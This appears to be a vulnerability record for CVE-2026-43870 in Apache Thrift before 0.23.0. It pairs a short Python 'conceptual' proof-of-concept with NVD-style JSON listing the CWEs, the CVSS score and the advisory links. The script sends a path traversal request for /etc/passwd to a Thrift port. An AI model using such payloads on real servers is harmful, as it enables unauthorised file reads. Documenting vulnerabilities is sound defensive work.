CVE-2026-43870

import socket # Conceptual PoC for Path Traversal / HTTP Splitting in Apache Thrift # Target: Apache Thrift server < 0.23.0 target_host = "127.0.0.1" target_port = 9090 # Malicious payload attempt # Note: Actual Thrift protocol framing is binary, this is a simplified conceptual representation # of a payload that might trigger a parser issue if validation is missing. payload = b"\x00\x00\x00\x2b" + b"POST /api/../../etc/passwd HTTP/1.1\r\nHost: localhost\r\n\r\n" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) s.send(payload) response = s.recv(4096) print("Response received:") print(response.decode(errors='ignore')) s.close() except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-43870", "sourceIdentifier": "[email protected]", "published": "2026-05-05T09:16:04.340", "lastModified": "2026-05-06T18:05:04.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Origin Validation Error, Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting'), Uncontrolled Resource Consumption vulnerability in Apache Thrift.\n\nThis issue affects Apache Thrift: before 0.23.0.\n\nUsers are recommended to upgrade to version 0.23.0, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-113"}, {"lang": "en", "value": "CWE-346"}, {"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:thrift:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.23.0", "matchCriteriaId": "0CE7604A-DA43-44E3-9840-9E3696223DD5"}]}]}], "references": [{"url": "https://lists.apache.org/thread/pgtfq44ltc9t63kxcbqmwqzt45pnhqdy", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/05/4", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}